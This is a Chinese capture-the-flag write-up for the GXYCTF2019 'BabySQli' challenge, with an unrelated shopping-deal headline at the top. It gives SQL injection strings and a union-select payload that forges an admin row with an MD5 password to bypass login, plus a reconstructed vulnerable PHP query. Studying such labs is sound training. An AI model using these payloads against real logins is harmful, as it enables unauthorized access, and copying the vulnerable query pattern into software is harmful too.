1. 程式人生 > 資訊 >限購 1 單:0 卡氣泡水 1.3 元/瓶速囤(立減 11 元)

限購 1 單:0 卡氣泡水 1.3 元/瓶速囤(立減 11 元)

[GXYCTF2019]BabySQli

我們通過union select聯合查詢就可以構造一行虛擬的資料

所以這個題思路大概是這樣,我們先是判斷出存在admin這個賬戶,然後構造一個自己的密碼123進行登入然後獲取flag

  1. 我們進入試題地址發現就一個登入框
  1. 然後我們進行常規的SQL注入,都會出現這個頁面

    1' and '1'='1
    1' or '1'='1
    1' order by 3#
    
  1. 然後我們嘗試一下使用者名稱輸出1和admin,發現輸入1會提示wrong user!,而輸入admin會題是wrong pass!,所以我們發現admin是正確使用者名稱,但是我們不知道密碼,我們檢視原始碼會有一個這樣的頁面

這串字元我們經過base32解密,在經過base64解密就會得出:

select * from user where username = '$name'

我們發現後臺SQL查詢語句是這樣的

我們利用union查詢判斷一下有多少個欄位:

1' union select 1,2,3#     //密碼隨意輸入

然後出現這樣一個頁面,3個欄位是對的,這個你可以一個一個試,返回結果是不一樣的

然後我們猜測3個欄位大概是這樣id,admin,password,我們測試一下admin在哪個欄位

1' union select 1,'admin',3#     //得出admin位於第二個欄位

然後我們就可以利用union查詢構造一個虛擬資料,username=admin,password=123(我們自定義的)

1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#     

202cb962ac59075b964b07152d234b70 這個是md5(123)加密之後的資料,因為一般資料庫密碼都會通過md5加密     //注意是 32為小 的加密方式,32為大 的行不通,我也不清楚為啥,到時候回來補上這個點

這裡我們可以大概猜測一下後臺原始碼:

$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";   
// echo $sql;
$result = mysqli_query($con, $sql);      
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}else{
			die("wrong pass!");
		}
}else{
		die("wrong user!");
	 }
}

然後我們輸入得出flag:

username:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'# 
password:123

有什麼錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!求大佬帶帶我!!!